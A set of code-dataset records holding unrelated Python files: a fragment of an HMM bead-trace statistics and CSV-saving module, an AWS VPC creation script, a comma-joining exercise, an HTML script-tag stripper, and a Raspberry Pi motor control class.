* 10)) & (all_beads_plus_dwell[:, -1] <= (i * 10 + 10))]\n        num_beads_array[i + 3] = len(temp)\n        composite_bead_array[:, j] = np.mean(temp[:, 0:-1], axis = 0)\n\n    if np.sum(num_beads_array[1::]) != num_beads_array[0]:\n        print(\"mistake in outputs.composite_bead: \", print(num_beads_array))\n\n    return composite_bead_array, num_beads_array\n\ndef add_iter_geo(composite_bead_array, num_iteration, num_for_bead_geometric):\n    num_iters_array = num_iteration * np.ones(len(composite_bead_array))\n    composite_bead_array = np.column_stack((composite_bead_array, num_iters_array))\n\n    num_geo_array = num_for_bead_geometric * np.ones(len(composite_bead_array))\n    composite_bead_array = np.column_stack((composite_bead_array, num_geo_array))\n\n    return composite_bead_array\n\n# Alt Version, Not Used\ndef get_bead_traces(data, max_num_bins_bead, changepoint_index):\n    #This module grabs the bead and enough of the data trace on either side to equal max_num_bins_bead\n    #If beads are closely spaced it could be mis-leading\n    bead_arrival_index = changepoint_index[::2]\n    bead_depature_index = changepoint_index[1::2]\n\n    num_beads = len(bead_arrival_index)\n\n    all_beads = -1 * np.ones((num_beads, max_num_bins_bead), dtype=np.float16)\n    bead_dwell_array = np.subtract(bead_depature_index, bead_arrival_index)\n    data.astype(np.float16)\n\n    for i in range(num_beads):\n        num_bins = bead_dwell_array[i]\n        if num_bins <= max_num_bins_bead:\n            if (num_bins/2) != np.floor(num_bins/2):\n                rand = np.random.random_sample()\n                if rand < 0.5:\n                    start = bead_arrival_index[i] - int(np.floor((max_num_bins_bead - num_bins)/2))\n                else:\n                    start = bead_arrival_index[i] - int(np.ceil((max_num_bins_bead - num_bins)/2))\n            else:\n                start = bead_arrival_index[i] - int((max_num_bins_bead - num_bins)/2)\n            all_beads[i, :] = data[start:(start + max_num_bins_bead)]\n\n    all_beads_plus_dwell = np.column_stack((all_beads, bead_dwell_array))\n\n    if np.min(all_beads) == -1:\n        print(\"mistake in outputs.get_bead_traces\")\n\n    return all_beads_plus_dwell\n##################################################\n####      Create Holding Arrays   ################\n##################################################\n\ndef empty_array(num_col_final_info, max_iterations, length_num_for_bead_geometric, max_num_for_bead_geometric, max_num_bins_bead):\n    final_info_array = empty_final_info_array(num_col_final_info, max_iterations, length_num_for_bead_geometric)\n    arrayPi_arraytosave, arrayMeanCounts_arraytosave, matrixA_arraytosave = empty_hmm_inputs_arrays(max_iterations, length_num_for_bead_geometric, max_num_for_bead_geometric)\n    array_of_composite_bead_arrays = empty_composite_bead_array(max_num_bins_bead, max_iterations, length_num_for_bead_geometric)\n\n    final_info_array_background = np.copy(final_info_array)\n    array_of_composite_bead_arrays_background = np.copy(array_of_composite_bead_arrays)\n\n    array_of_composite_bead_arrays_sim = np.copy(array_of_composite_bead_arrays)\n    array_of_num_beads_array = np.zeros((max_iterations * length_num_for_bead_geometric, 10))\n\n    row = 0\n    row_b = 0\n\n    return final_info_array, arrayPi_arraytosave, arrayMeanCounts_arraytosave, matrixA_arraytosave, array_of_composite_bead_arrays, final_info_array_background, array_of_composite_bead_arrays_background, array_of_composite_bead_arrays_sim, array_of_num_beads_array, row, row_b\n\ndef empty_final_info_array(num_columns, max_iterations, length_num_for_bead_geometric):\n    num_rows = max_iterations * length_num_for_bead_geometric * 2\n    empty_final_info_array = np.zeros((num_rows, num_columns))\n\n    return empty_final_info_array\n\ndef empty_hmm_inputs_arrays(max_iterations, length_num_for_bead_geometric, max_num_for_bead_geometric):\n    num_rows = (1 + max_num_for_bead_geometric) * max_iterations * length_num_for_bead_geometric\n    arrayPi_arraytosave = np.zeros((num_rows, 4))\n    arrayMeanCounts_arraytosave = np.zeros((num_rows, 4))\n    matrixA_arraytosave = np.zeros((num_rows * 2, 5))\n\n    return arrayPi_arraytosave, arrayMeanCounts_arraytosave, matrixA_arraytosave\n\ndef empty_composite_bead_array(max_num_bins_bead, max_iterations, length_num_for_bead_geometric):\n    num_rows = max_num_bins_bead * max_iterations * length_num_for_bead_geometric * 2\n    empty_composite_bead_array = np.zeros((num_rows, 11))\n\n    return empty_composite_bead_array\n\n##################################################\n####      Add to Holding Arrays   ################\n##################################################\n\ndef add_to_holding_arrays(smoothers, viterbi, row, final_info_array, array_of_composite_bead_arrays, stats_all_transitions, bin_width, concentration, num_photons_subset, loglikelihood, matrixA, arrayMeanCounts, num_beads_array, num_iterations, max_iterations, num_for_bead_geometric, composite_bead_array):\n    final_info_array = add_to_final_info_array_data(smoothers, viterbi, row, final_info_array, stats_all_transitions, bin_width, concentration, num_photons_subset, loglikelihood, matrixA, arrayMeanCounts[0], num_beads_array, num_iterations, max_iterations, num_for_bead_geometric)\n    array_of_composite_bead_arrays = add_composite_bead_to_array(smoothers, viterbi, row, array_of_composite_bead_arrays, composite_bead_array)\n    row = row + 1\n\n    return row, final_info_array, array_of_composite_bead_arrays\n\n##### Statistics: One Row Per Data Trace ##########\ndef add_to_final_info_array_data(smoothers, viterbi, row, final_info_array, stats_all_transitions, bin_width, concentration, num_photons_subset, loglikelihood, matrixA, background_counts, num_beads_array, num_iterations, max_iterations, num_for_bead_geometric):\n\n    final_info_array[row, 0] = smoothers\n    final_info_array[row, 1] = viterbi\n    final_info_array[row, 2:8] = stats_all_transitions\n    final_info_array[row, 8] = -np.log(matrixA[0, 0])/bin_width\n    final_info_array[row, 9] = bin_width\n    final_info_array[row, 10] = concentration\n    final_info_array[row, 11] = num_photons_subset\n    final_info_array[row, 12] = loglikelihood\n    final_info_array[row, 13] = num_iterations\n    final_info_array[row, 14] = max_iterations\n    final_info_array[row, 15] = num_for_bead_geometric\n    final_info_array[row, 16] = background_counts\n    final_info_array[row, 17::] = num_beads_array\n\n    return final_info_array\n\n#####         HMM Inputs                ##########\ndef add_hmm_inputs_to_array(row, arrayPi_arraytosave, arrayMeanCounts_arraytosave, matrixA_arraytosave, arrayPi_alliters, arrayMeanCounts_alliters, matrixA_alliters, num_for_bead_geometric, max_number):\n    total_iterations = len(arrayPi_alliters)\n    for m in range(total_iterations):\n        number_of_iterations = (m + 1)\n        arrayPi = arrayPi_alliters[m]\n        arrayMeanCounts = arrayMeanCounts_alliters[m]\n        matrixA = matrixA_alliters[m]\n        n = len(matrixA)\n\n        # MatrixA Non-Zero Elements\n        matrixA_i = np.zeros(n * 2)\n        matrixA_j = np.zeros(n * 2)\n        matrixA_value = np.zeros(n * 2)\n\n        p = 0\n        for i in range(n - 1):\n            matrixA_value[p] = matrixA[i, i]\n            matrixA_i[p] = i\n            matrixA_j[p] = i\n            matrixA_value[p + 1] = matrixA[i, i + 1]\n            matrixA_i[p + 1] = i\n            matrixA_j[p + 1] = i + 1\n            p = p + 2\n        matrixA_value[p] = matrixA[-1, -1]\n        matrixA_i[p] = n - 1\n        matrixA_j[p] = n - 1\n        matrixA_value[p + 1] = matrixA[-1, 0]\n        matrixA_i[p + 1] = n - 1\n        matrixA_j[p + 1] = 0\n\n        start = (int(row/2) - total_iterations + m) * ((max_number + 1) * 2)\n        matrixA_arraytosave[start:(start + n * 2), 0] = matrixA_i\n        matrixA_arraytosave[start:(start + n * 2), 1] = matrixA_j\n        matrixA_arraytosave[start:(start + n * 2), 2] = matrixA_value\n        matrixA_arraytosave[start:(start + n * 2), 3] = number_of_iterations * np.ones(n * 2)\n        matrixA_arraytosave[start:(start + n * 2), 4] = num_for_bead_geometric * np.ones(n * 2)\n\n        # arrayMean Counts\n        start = (int(row/2) - total_iterations + m) * (max_number + 1)\n        arrayMeanCounts_arraytosave[start:(start + n), 0] = np.arange(n)\n        arrayMeanCounts_arraytosave[start:(start + n), 1] = arrayMeanCounts\n        arrayMeanCounts_arraytosave[start:(start + n), 2] = number_of_iterations * np.ones(n)\n        arrayMeanCounts_arraytosave[start:(start + n), 3] = num_for_bead_geometric * np.ones(n)\n\n        # arrayPi\n        start = (int(row/2) - total_iterations + m) * (max_number + 1)\n        arrayPi_arraytosave[start:(start + n), 0] = np.arange(n)\n        arrayPi_arraytosave[start:(start + n), 1] = arrayPi\n        arrayPi_arraytosave[start:(start + n), 2] = number_of_iterations * np.ones(n)\n        arrayPi_arraytosave[start:(start + n), 3] = num_for_bead_geometric * np.ones(n)\n\n    return matrixA_arraytosave, arrayMeanCounts_arraytosave, arrayPi_arraytosave\n\n#####     Composite Bead Array         ##########\ndef add_composite_bead_to_array(smoothers, viterbi, row, array_of_composite_bead_arrays, composite_bead_array):\n    composite_bead_array = np.column_stack((viterbi * np.ones(len(composite_bead_array)), composite_bead_array))\n    composite_bead_array = np.column_stack((smoothers * np.ones(len(composite_bead_array)), composite_bead_array))\n    start = row * len(composite_bead_array)\n    stop = start + len(composite_bead_array)\n    array_of_composite_bead_arrays[start:stop, :] = composite_bead_array\n\n    return array_of_composite_bead_arrays\n\n##################################################\n#####          Save                ###############\n##################################################\n\ndef save_info(file_save_location, file_save_names, open_filename, final_info_array, final_info_array_background, array_of_composite_bead_arrays, array_of_composite_bead_arrays_background, arrayPi_arraytosave, arrayMeanCounts_arraytosave, matrixA_arraytosave):\n    source = '_data'\n    save_statistics_all_transitions_data(final_info_array, file_save_location, file_save_names, open_filename, source)\n    save_composite_bead(array_of_composite_bead_arrays, file_save_location, file_save_names, open_filename, source)\n    save_hmm_inputs(arrayPi_arraytosave, arrayMeanCounts_arraytosave, matrixA_arraytosave, file_save_location, file_save_names, open_filename)\n\n    source = '_background'\n    save_statistics_all_transitions_data(final_info_array_background, file_save_location, file_save_names, open_filename, source)\n    save_composite_bead(array_of_composite_bead_arrays_background, file_save_location, file_save_names, open_filename, source)\n\ndef remove_empty_rows_save_info(file_save_location, file_save_names, open_filename, final_info_array, final_info_array_background, array_of_composite_bead_arrays, array_of_composite_bead_arrays_background, arrayPi_arraytosave, arrayMeanCounts_arraytosave, matrixA_arraytosave):\n    final_info_array = final_info_array[final_info_array[:, 11] > 0]\n    final_info_array_background = final_info_array_background[final_info_array_background[:, 11] > 0]\n\n    array_of_composite_bead_arrays = array_of_composite_bead_arrays[array_of_composite_bead_arrays[:, 9] > 0]\n    array_of_composite_bead_arrays_background = array_of_composite_bead_arrays_background[array_of_composite_bead_arrays_background[:, 9] > 0]\n\n    arrayPi_arraytosave = arrayPi_arraytosave[arrayPi_arraytosave[:, 2] > 0]\n    arrayMeanCounts_arraytosave = arrayMeanCounts_arraytosave[arrayMeanCounts_arraytosave[:, 2] > 0]\n    matrixA_arraytosave = matrixA_arraytosave[matrixA_arraytosave[:, 3] > 0]\n\n    source = '_data'\n    save_statistics_all_transitions_data(final_info_array, file_save_location, file_save_names, open_filename, source)\n    save_composite_bead(array_of_composite_bead_arrays, file_save_location, file_save_names, open_filename, source)\n    save_hmm_inputs(arrayPi_arraytosave, arrayMeanCounts_arraytosave, matrixA_arraytosave, file_save_location, file_save_names, open_filename)\n\n    source = '_background'\n    save_statistics_all_transitions_data(final_info_array_background, file_save_location, file_save_names, open_filename, source)\n    save_composite_bead(array_of_composite_bead_arrays_background, file_save_location, file_save_names, open_filename, source)\n\n#####  Every Transition  ##########\ndef save_statistics_every_transition_data_HMM(min_num_for_bead, j, exponential_or_poisson, time_index_direction, changepoint_time, mean, stdev,\n                                          var, number_in_state, duration_in_state, duration_in_both_states, rate,\n                                          bin_width, open_filename, concentration,\n                                          file_save_location, save_name_extended, smoothers_or_viterbi):\n\n    iteration_array = j * np.ones(len(changepoint_time))\n    min_num_for_bead_array = min_num_for_bead * np.ones(len(changepoint_time))\n    bin_width_array = bin_width * np.ones(len(changepoint_time))\n    smoothers_or_viterbi_array = smoothers_or_viterbi * np.ones(len(changepoint_time))\n    exponential_or_poisson_array = exponential_or_poisson * np.ones(len(changepoint_time))\n    concentration_array = concentration * np.ones(len(changepoint_time))\n\n    df = pd.DataFrame({'ChangepointTime': changepoint_time,\n                               'DurationinOneState_Time': duration_in_state,\n                               'DurationinBothStates_Time': duration_in_both_states,\n                               'TransitionDirection': time_index_direction[:, 2],\n                               'Mean_Counts': mean,\n                               'Std_Counts': stdev,\n                               'Varience_Counts': var,\n                               'Rate_pertimeunit': rate,\n                               'CoefficientofDispersion': var / mean,\n                               'DurationinOneState_ArrayIndex': number_in_state,\n                               'Exponential_or_Poisson': exponential_or_poisson_array,\n                               'smoothers_or_viterbi': smoothers_or_viterbi_array,\n                               'BinWidth': bin_width_array,\n                               'Concentration': concentration_array,\n                               'min_num_bead': min_num_for_bead_array,\n                               'iteration': iteration_array\n                               })\n    df.to_csv(file_save_location + open_filename + '_' + save_name_extended + '_' + 'iteration_' + str(j) + '_' + 'minnumbead_' + str(min_num_for_bead) + '_smoothers_or_viterbi_' +str(smoothers_or_viterbi) + '_2HMM.csv')\n\n\n#####  All Transitions   ##########\ndef save_statistics_all_transitions_data(final_info_array, file_save_location, file_random_number_to_prevent_overwritting_files, open_filename, source):\n    if source == '_data':\n        df = pd.DataFrame({'Smoothers': final_info_array[:, 0],\n                           'Viterbi': final_info_array[:, 1],\n                           'BeadTransitTime_Mean': final_info_array[:, 2],\n                           'BeadTransitTime_Median': final_info_array[:, 3],\n                           'BeadTransitTime_Variance': final_info_array[:, 4],\n                           'BeadArrivalRate_Decoded': final_info_array[:, 5],\n                           'BeadArrivalRate_CoefficientofVariation_Decoded': final_info_array[:, 6],\n                           'Number_of_Beads': final_info_array[:, 7],\n                           'BeadArrivalRate_MatrixA': final_info_array[:, 8],\n                           'BinWidth': final_info_array[:, 9],\n                           'Concentration': final_info_array[:, 10],\n                           'FractionDataSubset': final_info_array[:, 11],\n                           'loglikelihood': final_info_array[:, 12],\n                           'IterationNumber': final_info_array[:, 13],\n                           'MaximumNumberIterations': final_info_array[:, 14],\n                           'NumGeo': final_info_array[:, 15],\n                           'MeanBackgroundCounts': final_info_array[:, 16],\n                           'NumberBeads': final_info_array[:, 17],\n                           'NumberBeads_LessThan5Bins': final_info_array[:, 18],\n                           'NumberBeads_GreaterThanMaxNum': final_info_array[:, 19],\n                           'NumberBeads_Over4BinsLessThanEqual10': final_info_array[:, 20],\n                           'NumberBeads_Over10BinsLessThanEqual20': final_info_array[:, 21],\n                           'NumberBeads_Over20BinsLessThanEqual30': final_info_array[:, 22],\n                           'NumberBeads_Over30BinsLessThanEqual40': final_info_array[:, 23],\n                           'NumberBeads_Over40BinsLessThanEqual50': final_info_array[:, 24],\n                           })\n    else:\n        df = pd.DataFrame({'Smoothers': final_info_array[:, 0],\n                           'Viterbi': final_info_array[:, 1],\n                           'BeadTransitTime_Mean': final_info_array[:, 2],\n                           'BeadTransitTime_Median': final_info_array[:, 3],\n                           'BeadTransitTime_Variance': final_info_array[:, 4],\n                           'BeadArrivalRate_Decoded': final_info_array[:, 5],\n                           'BeadArrivalRate_CoefficientofVariation_Decoded': final_info_array[:, 6],\n                           'Number_of_Beads': final_info_array[:, 7],\n                           'BeadArrivalRate_MatrixA': np.nan,\n                           'BinWidth': final_info_array[:, 9],\n                           'Concentration': final_info_array[:, 10],\n                           'FractionDataSubset': final_info_array[:, 11],\n                           'loglikelihood': final_info_array[:, 12],\n                           'IterationNumber': final_info_array[:, 13],\n                           'MaximumNumberIterations': final_info_array[:, 14],\n                           'NumGeo': final_info_array[:, 15],\n                           'MeanBackgroundCounts': final_info_array[:, 16],\n                           'NumberBeads': final_info_array[:, 17],\n                           'NumberBeads_LessThan5Bins': final_info_array[:, 18],\n                           'NumberBeads_GreaterThanMaxNum': final_info_array[:, 19],\n                           'NumberBeads_Over4BinsLessThanEqual10': final_info_array[:, 20],\n                           'NumberBeads_Over10BinsLessThanEqual20': final_info_array[:, 21],\n                           'NumberBeads_Over20BinsLessThanEqual30': final_info_array[:, 22],\n                           'NumberBeads_Over30BinsLessThanEqual40': final_info_array[:, 23],\n                           'NumberBeads_Over40BinsLessThanEqual50': final_info_array[:, 24],\n                           })\n    df.to_csv(file_save_location + file_random_number_to_prevent_overwritting_files + '_' + open_filename + '_HMM_AllEventsStatistics' + source + '.csv')\n\n#####  Composite Bead   ######\ndef save_composite_bead(array_of_composite_bead_arrays, file_save_location, file_random_number_to_prevent_overwritting_files, open_filename, source):\n    df = pd.DataFrame({\n        'Smoothers': array_of_composite_bead_arrays[:, 0],\n        'Viterbi': array_of_composite_bead_arrays[:, 1],\n        'BinNumber': array_of_composite_bead_arrays[:, 2],\n        'Mean_Over4BinsLessThanEqualMax': array_of_composite_bead_arrays[:, 3],\n        'Mean_Over4BinsLessThanEqual10': array_of_composite_bead_arrays[:, 4],\n        'Mean_Over10BinsLessThanEqual20': array_of_composite_bead_arrays[:, 5],\n        'Mean_Over20BinsLessThanEqual30': array_of_composite_bead_arrays[:, 6],\n        'Mean_Over30BinsLessThanEqual40': array_of_composite_bead_arrays[:, 7],\n        'Mean_Over40BinsLessThanEqual50': array_of_composite_bead_arrays[:, 8],\n        'IterationNumber': array_of_composite_bead_arrays[:, 9],\n        'NumGeo': array_of_composite_bead_arrays[:, 10]\n    })\n    df.to_csv(file_save_location + file_random_number_to_prevent_overwritting_files + '_' + open_filename + '_HMM_CompositeBead'+ source + '.csv')\n\n#####   HMM Inputs  #########\ndef save_hmm_inputs(arrayPi_arraytosave, arrayMeanCounts_arraytosave, matrixA_arraytosave, file_save_location, file_random_number_to_prevent_overwritting_files, open_filename):\n    df = pd.DataFrame({\"State\": arrayPi_arraytosave[:, 0],\n                       \"ArrayPi\": arrayPi_arraytosave[:, 1],\n                       \"IterationNumber\": arrayPi_arraytosave[:, 2],\n                       \"NumGeo\": arrayPi_arraytosave[:, 3]})\n    df.to_csv(file_save_location + file_random_number_to_prevent_overwritting_files + '_' + open_filename + '_HMM_arrayPi.csv')\n\n    df = pd.DataFrame({\"State\": arrayMeanCounts_arraytosave[:, 0],\n                       \"ArrayMeanCounts\": arrayMeanCounts_arraytosave[:, 1],\n                       \"IterationNumber\": arrayMeanCounts_arraytosave[:, 2],\n                       \"NumGeo\": arrayMeanCounts_arraytosave[:, 3]})\n    df.to_csv(file_save_location + file_random_number_to_prevent_overwritting_files + '_' + open_filename + '_HMM_arrayMeanCounts.csv')\n\n    df = pd.DataFrame({\"Row\": matrixA_arraytosave[:, 0],\n                       \"Column\": matrixA_arraytosave[:, 1],\n                       \"MatrixA\": matrixA_arraytosave[:, 2],\n                       \"IterationNumber\": matrixA_arraytosave[:, 3],\n                       \"NumGeo\": matrixA_arraytosave[:, 4]})\n    df.to_csv(file_save_location + file_random_number_to_prevent_overwritting_files + '_' + open_filename + '_HMM_MatrixANonZeroValues.csv')\n\n#####   Composite Bead & Number Beads from Simulation  #########\ndef save_sim_analysis(file_save_location, file_random_number_to_prevent_overwritting_files, open_filename, array_of_num_beads_array, array_of_composite_bead_arrays):\n    df = pd.DataFrame({\n        'NumberBeads': array_of_num_beads_array[:, 0],\n        'NumberBeads_LessThan5Bins': array_of_num_beads_array[:, 1],\n        'NumberBeads_GreaterThanMaxNum': array_of_num_beads_array[:, 2],\n        'NumberBeads_Over4BinsLessThanEqual10': array_of_num_beads_array[:, 3],\n        'NumberBeads_Over10BinsLessThanEqual20': array_of_num_beads_array[:, 4],\n        'NumberBeads_Over20BinsLessThanEqual30': array_of_num_beads_array[:, 5],\n        'NumberBeads_Over30BinsLessThanEqual40': array_of_num_beads_array[:, 6],\n        'NumberBeads_Over40BinsLessThanEqual50': array_of_num_beads_array[:, 7],\n        'IterationNumber': array_of_num_beads_array[:, 8],\n        'NumGeo': array_of_num_beads_array[:, 9]\n    })\n    df.to_csv(file_save_location + file_random_number_to_prevent_overwritting_files + '_' + open_filename + '_HMM_NumBeads_Simulation.csv')\n\n    df = pd.DataFrame({'BinNumber': array_of_composite_bead_arrays[:, 2],\n        'Mean_Over4BinsLessThanEqualMax': array_of_composite_bead_arrays[:, 3],\n        'Mean_Over4BinsLessThanEqual10': array_of_composite_bead_arrays[:, 4],\n        'Mean_Over10BinsLessThanEqual20': array_of_composite_bead_arrays[:, 5],\n        'Mean_Over20BinsLessThanEqual30': array_of_composite_bead_arrays[:, 6],\n        'Mean_Over30BinsLessThanEqual40': array_of_composite_bead_arrays[:, 7],\n        'Mean_Over40BinsLessThanEqual50': array_of_composite_bead_arrays[:, 8],\n        'NumberIterations': array_of_composite_bead_arrays[:, 9],\n        'NumGeo': array_of_composite_bead_arrays[:, 10]})\n    df.to_csv(file_save_location + file_random_number_to_prevent_overwritting_files + '_' + open_filename + '_HMM_CompositeBead_Simulation.csv')\n\ndef remove_empty_rows_save_sim_analysis(file_save_location, file_random_number_to_prevent_overwritting_files, open_filename, array_of_num_beads_array, array_of_composite_bead_arrays):\n    array_of_num_beads_array = array_of_num_beads_array[array_of_num_beads_array[:, 8] > 0]\n    df = pd.DataFrame({\n        'NumberBeads': array_of_num_beads_array[:, 0],\n        'NumberBeads_LessThan5Bins': array_of_num_beads_array[:, 1],\n        'NumberBeads_GreaterThanMaxNum': array_of_num_beads_array[:, 2],\n        'NumberBeads_Over4BinsLessThanEqual10': array_of_num_beads_array[:, 3],\n        'NumberBeads_Over10BinsLessThanEqual20': array_of_num_beads_array[:, 4],\n        'NumberBeads_Over20BinsLessThanEqual30': array_of_num_beads_array[:, 5],\n        'NumberBeads_Over30BinsLessThanEqual40': array_of_num_beads_array[:, 6],\n        'NumberBeads_Over40BinsLessThanEqual50': array_of_num_beads_array[:, 7],\n        'IterationNumber': array_of_num_beads_array[:, 8],\n        'NumGeo': array_of_num_beads_array[:, 9]\n    })\n    df.to_csv(file_save_location + file_random_number_to_prevent_overwritting_files + '_' + open_filename + '_HMM_NumBeads_Simulation.csv')\n\n    array_of_composite_bead_arrays = array_of_composite_bead_arrays[:, 2:]\n    array_of_composite_bead_arrays = array_of_composite_bead_arrays[array_of_composite_bead_arrays[:, 7] > 0]\n    df = pd.DataFrame({'BinNumber': array_of_composite_bead_arrays[:, 0],\n        'Mean_Over4BinsLessThanEqualMax': array_of_composite_bead_arrays[:, 1],\n        'Mean_Over4BinsLessThanEqual10': array_of_composite_bead_arrays[:, 2],\n        'Mean_Over10BinsLessThanEqual20': array_of_composite_bead_arrays[:, 3],\n        'Mean_Over20BinsLessThanEqual30': array_of_composite_bead_arrays[:, 4],\n        'Mean_Over30BinsLessThanEqual40': array_of_composite_bead_arrays[:, 5],\n        'Mean_Over40BinsLessThanEqual50': array_of_composite_bead_arrays[:, 6],\n        'IterationNumber': array_of_composite_bead_arrays[:, 7],\n        'NumGeo': array_of_composite_bead_arrays[:, 8]})\n    df.to_csv(file_save_location + file_random_number_to_prevent_overwritting_files + '_' + open_filename + '_HMM_CompositeBead_Simulation.csv')\n\n#####  Simulations of Background & Data  ##############\ndef save_simulation(file_save_location, file_random_number_to_prevent_overwritting_files, open_filename, source, data, num_for_bead_geometric, number_beads):\n   np.save(file_save_location + file_random_number_to_prevent_overwritting_files + '_' + open_filename + '_simulated' + source + '_geo_' + str(num_for_bead_geometric) + '_numberbeads_' + str(int(number_beads)), data)\n","sub_path":"hmm_outputs_module.py","file_name":"hmm_outputs_module.py","file_ext":"py","file_size_in_byte":34134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"328564323","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport common\nimport argparse\n\nAK, SK, AMI, KP, REGION = common.config()\ncli, ec2 = common.boto_connector('ec2')\n\ndef create_vpc(cidr_vpc='192.168.0.0/24', cidr_subnet=['192.168.0.0/25','192.168.0.128/25'], vpc_name=\"foobar\"):\n    \"\"\"\n        Function which will create a vpc with:\n          - 2 subnets (192.168.0.0/25 and 192.168.0.128/25)\n          - create internet gateway and attach it to vpc.\n          - create an instance on public subnet\n          - associate public ip on this instance.\n\n           # Create standard vpc\n            create_vpc()\n\n    \"\"\"\n    vpc_tags = {'Key':'Name','Value':vpc_name}\n    vpc = ec2.create_vpc(CidrBlock=cidr_vpc)\n    vpc.create_tags(Tags=[vpc_tags])\n    for i in cidr_subnet:\n        subnet = vpc.create_subnet(CidrBlock=i)\n        if i == cidr_subnet[0]:\n            subnet_tags = {'Key':'Name','Value':'public'}\n            subnet.create_tags(Tags=[subnet_tags])\n            bastion = subnet.create_instances(ImageId=AMI, InstanceType='t1.micro', KeyName=KP, MinCount=1, MaxCount=1)\n            bastion_tags = {'Key':'Name','Value':'bastion'}\n            bastion[0].create_tags(Tags=[bastion_tags])\n        else:\n            subnet_tags = {'Key':'Name','Value':'private'}\n            subnet.create_tags(Tags=[subnet_tags])\n    gateway = ec2.create_internet_gateway()\n    gateway.attach_to_vpc(VpcId=vpc.id)\n    bastion_ip = cli.allocate_address(Domain='vpc')\n    cli.associate_address(InstanceId=bastion[0].id, AllocationId=bastion_ip['AllocationId'])\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description='Create VPC')\n    parser.add_argument('--vpc-name', dest='vpcname', help='Name of your vpc', default='foobar')\n    parser.add_argument('--cidr-vpc', dest='cidrvpc', help='CIDR of your vpc', default='192.168.0.0/24')\n    parser.add_argument('--cidr-subnet', nargs='+', dest='cidrsubnet', help='CIDR of your subnet in list type', default=['192.168.0.0/25','192.168.0.128/25'])\n    argVpcname = parser.parse_args().vpcname\n    argCidrvpc = parser.parse_args().cidrvpc\n    argCidrsubnet = parser.parse_args().cidrsubnet\n    create_vpc(cidr_vpc=argCidrvpc, cidr_subnet=argCidrsubnet, vpc_name=argVpcname)\n","sub_path":"create_vpc.py","file_name":"create_vpc.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"248635166","text":"def seperateValues(listParameter):\r\n    spam = ''\r\n    for i in listParameter:\r\n        if((i + 1) == len(listParameter)):\r\n            spam = str(spam) + ' and ' + str(listParameter[i])\r\n        elif(spam == ''):\r\n            spam = str(spam) + str(listParameter[i])\r\n        else:\r\n            spam = str(spam) +', ' + str(listParameter[i])\r\n    return spam\r\n\r\neggs = [0,1,2,3,4,5,6,7,8,9]\r\nprint(seperateValues(eggs))\r\n","sub_path":"programs/commaCode.py","file_name":"commaCode.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"113242098","text":"# -*- coding: utf8 -*-\r\nfrom bs4 import BeautifulSoup as bs\r\n\r\nimport glob\r\n\r\nhtmls = glob.glob(\"/share/*.htm\")\r\n\r\nfor doc in htmls:\r\n    with open(doc, \"rt\") as f:\r\n        data = f.read()\r\n    soup = bs(data, features=\"html.parser\")\r\n    js = soup.findAll(\"script\")\r\n    for x in js:\r\n        x.decompose()\r\n\r\n    with open(doc + \".tmp\", \"w\") as f:\r\n        f.write(str(soup))\r\n","sub_path":"backend/python/beautifulsoup/remove_js.py","file_name":"remove_js.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"581002320","text":"import RPi.GPIO as GPIO\nimport time\n\n\nclass Motor:\n\n    def __init__(self, pins: list):\n        \"\"\"\n        Constructor voor de motor class.\n        :param pins: Lijst met pins die motor gebruikt [1, 2]. Draait de motor\n        verkeerd om? Wissel de pins om ([2, 1]).\n        \"\"\"\n\n        # Pins opslaan om later aan te sturen\n        self.pin1 = pins[0]\n        self.pin2 = pins[1]\n\n        # Pins instellen voor output (motoren vertellen geen verhaaltjes)\n        GPIO.setup(self.pin1, GPIO.OUT)\n        GPIO.setup(self.pin2, GPIO.OUT)\n\n        # Pins op 0 zetten zodat ie niet onverwacht draait.\n        GPIO.output(self.pin1, 0)\n        GPIO.output(self.pin2, 0)\n\n    def forward(self) -> None:\n        \"\"\"\n        Doet de motor naar voren draaien. Hiervoor moet de eerste pin hoog\n        staan.\n        \"\"\"\n        GPIO.output(self.pin1, 1)\n        GPIO.output(self.pin2, 0)\n\n    def backward(self) -> None:\n        \"\"\"\n        Doet de motor achteruit draaien. Hiervoor moet de tweede pin hoog\n        staan.\n        :return:\n        \"\"\"\n        GPIO.output(self.pin1, 0)\n        GPIO.output(self.pin2, 1)\n\n    def stop(self) -> None:\n        \"\"\"\n        Stopt de motor. Beide pins geven geen stroom.\n        \"\"\"\n        GPIO.output(self.pin1, 0)\n        GPIO.output(self.pin2, 0)\n\n\ndef main() -> None:\n    GPIO.cleanup()\n    GPIO.setmode(GPIO.BCM)\n    GPIO.setwarnings(False)\n\n    # motoren aanmaken\n    testmotor1 = Motor([10, 9])\n    testmotor2 = Motor([8, 7])\n\n    # motor 1 laten draaien (halve seconde)\n    testmotor1.forward()\n    time.sleep(0.5)\n\n    # motor 1 achterwaards laten draaien (halve seconde)\n    testmotor1.backward()\n    time.sleep(0.5)\n\n    # motor 1 stoppen\n    testmotor1.stop()\n\n    # motor 2 laten draaien (halve seconde)\n    testmotor2.forward()\n    time.sleep(0.5)\n\n    # motor 2 achterwaards laten draaien (halve seconde)\n    testmotor2.backward()\n    time.sleep(0.5)\n\n    # motor 2 stoppen\n    testmotor2.stop()\n\n    # Laat de 2e motor heel snel trillen bij wijze van expiriment.\n    # Voor wanneer je benieuwd ben hoe snel een motor kan trillen.\n    for i in range(0, 50):\n        testmotor2.forward()\n        time.sleep(0.012)\n\n        testmotor2.backward()\n        time.sleep(0.012)\n\n        # altijd de motor stoppen, anders blijft ie draaien wanneer je script\n        # stopt\n        testmotor2.stop()\n\nif __name__ == '__main__':\n    main()\n","sub_path":"IPOMEDT/classes/motor.py","file_name":"motor.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
